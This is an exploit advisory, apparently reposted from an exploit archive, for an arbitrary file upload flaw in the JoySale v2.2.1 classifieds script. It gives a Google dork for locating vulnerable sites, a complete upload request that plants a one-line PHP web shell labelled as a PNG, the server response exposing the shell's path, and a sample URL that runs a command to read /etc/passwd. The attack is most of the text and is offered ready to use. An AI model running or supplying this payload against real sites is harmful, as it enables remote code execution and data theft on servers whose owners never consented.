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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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JoySale Arbitrary File Upload

# Exploit Title: JoySale Arbitrary File Upload
# Exploit Author: Mutlu Benmutlu
# Date: 1/08/2017
# Vendor Homepage: http://www.hitasoft.com/product/joysale-advanced-classifieds-script/
# Version: Joysale v2.2.1 (latest)
# Google Dork: "joysale-style.css"
# Tested on : MacOS Sierra 10.12.5 / Kali Linux

Details
=======

Vendor informed about vulnerability, they are going to release fix. Joysale v2.2.1 (latest version) vulnerable to attack.
While uploading image file, you can change the content in it, there is only user controls for file type.
After you post vulnerable code via file upload, server saves your file in temp folder

========================================
Vulnerable Page:
========================================
 
http://xxxxxxxxx.com/products/create 

========================================
Vulnerable POST REQUEST:
========================================

POST /item/products/upload/QZP83N70 HTTP/1.1
Host: xxxxxxxxx.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Referer: https://xxxxxxxxx.com/products/create
Content-Length: 2054
Content-Type: multipart/form-data; boundary=---------------------------1321235123106179646780168
Cookie: PHPSESSID=b6ah8xxxxxxx9k4pqvr4; useridval=user%40mailaddress.com
Connection: close

-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="XUploadForm[file]"


-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[category]"


-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[subCategory]"


-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[name]"


-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[description]"


-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[price]"


-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[currency]"

€-EUR
-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[location]"

 28108 Alcobendas, Spain
-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[latitude]"

40.534915100000006
-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[longitude]"

-3.616368599999987
-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="facebook_share"

1
-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[promotion][type]"


-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[promotion][addtype]"


-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="Products[uploadSessionId]"

QZP83N70
-----------------------------1321235045961106179646780168
Content-Disposition: form-data; name="XUploadForm[file]"; filename="ab.php"
Content-Type: image/png

<?php echo shell_exec($_GET[‘e’]); ?>

-----------------------------1321235045961106179646780168--

========================================
Vulnerable POST RESPONSE:
========================================

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jul 2017 13:50:18 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.0.21
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept
X-Powered-By: Linux
MS-Author-Via: DAV
Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate
Content-Length: 306

[{"name”:”ab.php","type":"image\/png","size": 306,"url":"\/media\/item\/tmp\/f99aaeasde51c890402b0fda9408.php","thumbnail_url":"\/media\/item\/tmp\/\/f99aaeasde51c890402b0fda9408.php","delete_url":"\/products\/upload?_method=delete&file= f99aaeasde51c890402b0fda9408.php","delete_type":"POST"}]

========================================
Vulnerable UPLOADED FILE PATH
========================================

http://xxxxxxxxx.com/media/item/tmp/f99aaeasde51c890402b0fda9408.php

========================================
Vulnerable Code Execution (example)
========================================

http://xxxxxxxxx.com/media/item/tmp/f99aaeasde51c890402b0fda9408.php?e=cat+/etc/passwd


Enjoy.
Mutlu Benmutlu